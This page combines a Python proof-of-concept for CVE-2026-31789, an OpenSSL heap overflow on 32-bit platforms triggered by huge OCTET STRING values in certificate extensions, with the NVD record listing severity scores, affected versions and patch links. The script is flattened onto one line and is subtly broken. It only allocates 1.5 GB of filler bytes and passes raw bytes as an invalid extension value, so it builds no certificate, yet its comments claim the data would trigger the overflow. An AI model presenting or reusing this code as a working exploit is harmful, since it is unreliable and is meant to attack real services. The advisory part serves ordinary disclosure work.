CVE-2026-31789

# Proof of Concept for CVE-2026-31789 # This script generates a crafted X.509 certificate extension with a large OCTET STRING. # Note: The size must be > 1GB to trigger the integer overflow on 32-bit systems. import sys from cryptography import x509 from cryptography.x509.oid import ExtensionOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.backends import default_backend def create_malformed_cert(): # Simulate a massive OCTET STRING value # In a real exploit, this size needs to be large enough to cause len * 3 to overflow on 32-bit # (e.g., length > 1431655765 bytes) try: large_size = 1500000000 # 1.5 GB print(f"Generating payload of size {large_size}...") malicious_data = b'A' * large_size # Constructing a malicious extension (Subject Key Identifier) # In a real scenario, this would be part of a full certificate structure skid = x509.Extension( oid=ExtensionOID.SUBJECT_KEY_IDENTIFIER, critical=False, value=malicious_data # Invalid type for SKID but demonstrates the buffer consumption ) # This PoC demonstrates the data construction. # Sending this to a vulnerable OpenSSL service attempting to print/log it # would trigger the heap buffer overflow. print("Malformed data generated.") except MemoryError: print("Not enough memory to generate the payload.") if __name__ == "__main__": create_malformed_cert()

{"cve": {"id": "CVE-2026-31789", "sourceIdentifier": "[email protected]", "published": "2026-04-07T22:16:21.617", "lastModified": "2026-05-12T13:17:34.570", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Issue summary: Converting an excessively large OCTET STRING value to\na hexadecimal string leads to a heap buffer overflow on 32 bit platforms.\n\nImpact summary: A heap buffer overflow may lead to a crash or possibly\nan attacker controlled code execution or other undefined behavior.\n\nIf an attacker can supply a crafted X.509 certificate with an excessively\nlarge OCTET STRING value in extensions such as the Subject Key Identifier\n(SKID) or Authority Key Identifier (AKID) which are being converted to hex,\nthe size of the buffer needed for the result is calculated as multiplication\nof the input length by 3. On 32 bit platforms, this multiplication may overflow\nresulting in the allocation of a smaller buffer and a heap buffer overflow.\n\nApplications and services that print or log contents of untrusted X.509\ncertificates are vulnerable to this issue. As the certificates would have\nto have sizes of over 1 Gigabyte, printing or logging such certificates\nis a fairly unlikely operation and only 32 bit platforms are affected,\nthis issue was assigned Low severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.20", "matchCriteriaId": "B28A8143-89A4-4332-A1F8-A65FB5AA829F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.7", "matchCriteriaId": "CF303B21-D9BF-461D-B7B0-A3FE1D557A9F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.5", "matchCriteriaId": "DCCE43D0-8F17-475D-9EE6-842F758A9905"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.6", "matchCriteriaId": "F6BC0271-444D-4597-BF05-DC60034EAA49"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.6.2", "matchCriteriaId": "4A9E621D-29D8-418A-BF37-BED333C14507"}]}]}], "references": [{"url": "https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://openssl-library.org/news/secadv/20260407.txt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}]}}